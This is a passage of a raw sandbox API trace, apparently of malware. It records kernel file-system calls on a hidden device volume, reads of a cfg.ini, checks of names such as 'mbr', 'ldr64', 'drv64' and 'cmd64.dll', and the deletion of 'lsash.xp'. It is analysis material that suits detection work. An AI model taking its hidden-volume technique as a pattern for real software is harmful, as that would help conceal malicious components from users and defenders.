MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.427] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.427] IdePortDispatch () returned 0x103 [0117.427] KeWaitForMutexObject () returned 0x0 [0117.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.428] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.428] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.428] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.428] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.428] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d4560 [0117.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.428] KeLeaveCriticalRegion () [0117.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.428] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.428] KeEnterCriticalRegion () [0117.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.428] KeLeaveCriticalRegion () [0117.428] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.428] KeEnterCriticalRegion () [0117.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.428] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.428] IdePortDispatch () returned 0x103 [0117.428] KeWaitForMutexObject () returned 0x0 [0117.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.429] KeLeaveCriticalRegion () [0117.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.429] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.429] KeEnterCriticalRegion () [0117.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.429] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca1000 [0117.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.429] IdePortDispatch () returned 0x103 [0117.429] KeWaitForMutexObject () returned 0x0 [0117.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.429] IdePortDispatch () returned 0x103 [0117.429] KeWaitForMutexObject () returned 0x0 [0117.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.429] KeLeaveCriticalRegion () [0117.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.430] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.430] KeEnterCriticalRegion () [0117.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] KeLeaveCriticalRegion () [0117.430] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.430] KeEnterCriticalRegion () [0117.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d4620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] KeLeaveCriticalRegion () [0117.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.430] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.430] KeEnterCriticalRegion () [0117.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] ExFreePoolWithTag (P=0xfffffa80039d4560, Tag=0x0) [0117.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] KeLeaveCriticalRegion () [0117.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.430] ReleaseMutex (hMutex=0xf0) returned 1 [0117.430] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.430] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.430] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.430] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.430] KeEnterCriticalRegion () [0117.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.430] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.430] IdePortDispatch () returned 0x103 [0117.431] KeWaitForMutexObject () returned 0x0 [0117.431] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.431] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.431] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.431] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.431] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.431] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.431] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.431] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.431] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.431] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.431] KeLeaveCriticalRegion () [0117.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.431] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.431] KeEnterCriticalRegion () [0117.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.431] IdePortDispatch () returned 0x103 [0117.431] KeWaitForMutexObject () returned 0x0 [0117.431] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.431] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.431] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.431] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.432] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.432] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.432] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.432] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.432] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.432] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.432] KeLeaveCriticalRegion () [0117.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.432] ReleaseMutex (hMutex=0x100) returned 1 [0117.432] Sleep (dwMilliseconds=0x2bf20) [0117.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x693186d0, dwHighDateTime=0x1d24fa4)) [0117.440] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.440] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.440] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.441] KeEnterCriticalRegion () [0117.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.441] IdePortDispatch () returned 0x103 [0117.441] KeWaitForMutexObject () returned 0x0 [0117.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.441] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.441] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.441] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d96c0 [0117.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.441] KeLeaveCriticalRegion () [0117.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.441] KeEnterCriticalRegion () [0117.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.441] KeLeaveCriticalRegion () [0117.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.441] KeEnterCriticalRegion () [0117.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.441] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.441] IdePortDispatch () returned 0x103 [0117.441] KeWaitForMutexObject () returned 0x0 [0117.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.442] KeLeaveCriticalRegion () [0117.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.442] KeEnterCriticalRegion () [0117.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca7000 [0117.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.442] IdePortDispatch () returned 0x103 [0117.442] KeWaitForMutexObject () returned 0x0 [0117.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.442] IdePortDispatch () returned 0x103 [0117.442] KeWaitForMutexObject () returned 0x0 [0117.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.442] KeLeaveCriticalRegion () [0117.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.443] KeEnterCriticalRegion () [0117.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] KeLeaveCriticalRegion () [0117.443] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.443] KeEnterCriticalRegion () [0117.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9780, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] KeLeaveCriticalRegion () [0117.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.443] KeEnterCriticalRegion () [0117.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] ExFreePoolWithTag (P=0xfffffa80039d96c0, Tag=0x0) [0117.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] KeLeaveCriticalRegion () [0117.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.443] ReleaseMutex (hMutex=0xf0) returned 1 [0117.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.443] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.443] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.443] KeEnterCriticalRegion () [0117.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.444] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.444] IdePortDispatch () returned 0x103 [0117.444] KeWaitForMutexObject () returned 0x0 [0117.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.444] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.444] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.444] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.444] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.444] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] KeLeaveCriticalRegion () [0117.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.445] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.445] KeEnterCriticalRegion () [0117.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] KeLeaveCriticalRegion () [0117.445] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.445] KeEnterCriticalRegion () [0117.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.445] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.445] IdePortDispatch () returned 0x103 [0117.445] KeWaitForMutexObject () returned 0x0 [0117.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] KeLeaveCriticalRegion () [0117.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.445] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.445] KeEnterCriticalRegion () [0117.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cac000 [0117.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.446] IdePortDispatch () returned 0x103 [0117.446] KeWaitForMutexObject () returned 0x0 [0117.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.446] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.446] IdePortDispatch () returned 